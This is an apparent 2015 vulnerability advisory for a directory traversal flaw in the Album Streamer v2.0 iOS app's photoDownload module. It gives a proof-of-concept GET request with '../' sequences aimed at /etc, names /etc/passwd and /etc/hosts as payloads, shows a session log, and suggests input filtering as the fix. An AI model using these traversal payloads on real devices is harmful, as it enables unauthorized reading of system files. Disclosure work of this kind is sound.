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Album Streamer v2.0 iOS - Directory Traversal Vulnerability

Document Title:
Album Streamer v2.0 iOS - Directory Traversal Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Product & Service Introduction:
1 Tap - Quick, Album Streamer, best Photo/Video Transfer app ever! Quick way to share your Album Photos and 
Videos to your computer. It takes only single tap to stream and download all/selected photos or videos. 
You can even view or play slide show of all your photos directly on the computer without downloading.

(Copy of the Homepage: https://itunes.apple.com/DE/app/id835284235 )

Abstract Advisory Information:
The Vulnerability Laboratory Research Team discovered a directory traversal web vulnerability in the official Album Streamer v2.0 iOS mobile web-application.

Vulnerability Disclosure Timeline:
2015-05-07:	Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Affected Product(s):
Spider Talk
Product: Album Streamer - iOS Mobile Web Application (Wifi) 2.0

Exploitation Technique:

Severity Level:

Technical Details & Description:
A Path Traveral web vulnerability has been discovered in the official Album Streamer v2.0 iOS mobile web-application.
The security vulnerability allows a remote attacker to unauthorized request system path variables to compromise the 
mobile application or apple iOS device.

The vulnerability is located in the `id` request to the `path` value of the photoDownload module. The vulnerability can be exploited by 
local or remote attackers without user interaction. The attacker needs to replace the picture assets id path request of the photoDownload 
module with a malicious payload like ./etc/passwd ./etc/hosts. The attack vector is located on the application-side of the service and 
the request method to execute is GET (client-side).

The security risk of the path traversal web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.6. 
Exploitation of the directory traversal web vulnerability requires no privileged application user account or user interaction. 
Successful exploitation of the vulnerability results in mobile application compromise

Request Method(s):
				[+] GET

Vulnerable Module(s):
				[+] photoDownload

Vulnerable Parameter(s):
				[+] id

Affected Module(s):
				[+] photoDownload Item Index

Proof of Concept (PoC):
The vulnerability can be exploited by remote attackers without privileged application user account or user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

PoC: http://localhost/photoDownload?id=[DIRECTORY TRAVERSAL]../../../../../../../etc

Vulnerable Source(s): localhost/photoDownload
<div class="thumbnailBorder"><div class="thumbnailPicture"><img class="showPreviewModalPopup" src="/photoTbDownload?id=id0" border="0" height="100px" width="100px"></div><div id="thumbnailTitle"><input id="id0" name="photoCheckbox" type="checkbox"> <a href="/photoDownload?id=id0">asset.JPG</a></div></div><div class="thumbnailBorder"><div class="thumbnailPicture"><img class="showPreviewModalPopup" src="/photoTbDownload?id=id1" border="0" height="100px" width="100px"></div><div id="thumbnailTitle"><input id="id1" name="photoCheckbox" type="checkbox"> <a href="/photoDownload?id=id1">asset.PNG</a></div></div>

        <!-- PREVIEW SECTION -->
        <div style="display: none;" id="overlay"></div>
        <div style="display: none;" id="popupBox">
            <div style="display: none;" id="popupContent">
                <img class="previewLoadingImage" id="previewLoading" src="/loading.gif">
                <img class="previewImage" src="/photoDownload?id=id1">
                <img src="/imgAlbumStreamPrev.png" class="btnShowPrev" height="25px" width="25px">
                <img src="/imgAlbumStreamNext.png" class="btnShowNext" height="25px" width="25px">

        <!-- BREAK -->
        <div class="sectionBreak"> </div>

        <!-- VIDEOS SECTION -->
                <input class="videoAllCheckBox" id="videoAllCheckBox" type="checkbox"> Videos 
                <input class="btnVideoDownload" value="Download (Selected)" type="button"> 

--- Poc Session Logs [GET] ---
Status: 200[OK]
GET http://localhost/photoDownload?id=../../../../etc Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[25568] Mime Type[application/x-unknown-content-type]
   Request Header:
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0]
      Accept-Encoding[gzip, deflate]
   Response Header:
      Content-Disposition[: attachment; filename=asset.JPG]
      Date[Thu, 30 Apr 2015 13:29:14 GMT]


Solution - Fix & Patch:
The vulnerability can be patched by a secure parse of the id value in the photoDownload module.
Restrict the input and disallow special chars to prevent further path traversal attacks.
implement a whitelist to request only authroized urls through the mobile app api.

Security Risk:
The security risk of the directory traversal vulnerability in the wifi interface is estimated as high. (CVSS 6.6)

Credits & Authors:
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]

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